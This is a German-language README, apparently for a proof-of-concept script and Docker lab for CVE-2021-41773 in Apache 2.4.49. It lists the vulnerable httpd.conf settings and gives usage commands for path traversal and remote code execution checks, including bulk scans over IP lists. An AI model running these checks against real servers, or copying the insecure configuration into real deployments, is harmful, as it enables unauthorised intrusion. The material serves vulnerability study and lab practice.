Apache 2.4.49 - Path Traversal oder Remote Code Execution

cve-2021-41773.py ist ein Python-Skript, das dabei hilft, die Path-Traversal- oder Remote-Code-Execution-Schwachstelle in Apache 2.4.49 zu finden. Eine verwundbare Docker-Instanz wird bereitgestellt, um praktische Erfahrungen mit CVE-2021-41773 zu sammeln.

Wenn CGI-BIN aktiviert ist, können wir Remote Code Execution, aber kein Path Traversal ausführen. Daher wurde das Verzeichnis "icons" im Alias-Abschnitt der httpd.conf hinzugefügt, um die Path-Traversal-Schwachstelle zu prüfen.

Verwundbare Konfigurationen in httpd.conf

1. Enable CGI-BIN
2. Add "icons" directory in Alias section
3. <Directory>Require all granted</Directory>

Lab für CVE-2021-41773

Docker-Image erstellen

$ docker build -t cve-2021-41773 .

Docker starten

$ docker run -it cve-2021-41773

Verwendung von cve-2021-41773.py

Auf Path Traversal und Remote Code Execution prüfen

$ python3 cve-2021-41773.py -u http://172.17.0.2

Path-Traversal-PoC

$ python3 cve-2021-41773.py -u http://172.17.0.2 -pt

Remote-Code-Execution-PoC

$ python3 cve-2021-41773.py -u http://172.17.0.2 -rce

Für Bulk-Scans eine Textdatei mit IPs angeben:

$ python3 cve-2021-41773.py -l list.txt

$ python3 cve-2021-41773.py -l list.txt -pt

$ python3 cve-2021-41773.py -l list.txt -rce

Weitere Informationen finden Sie hier.

cve-2021-41773

Beliebteste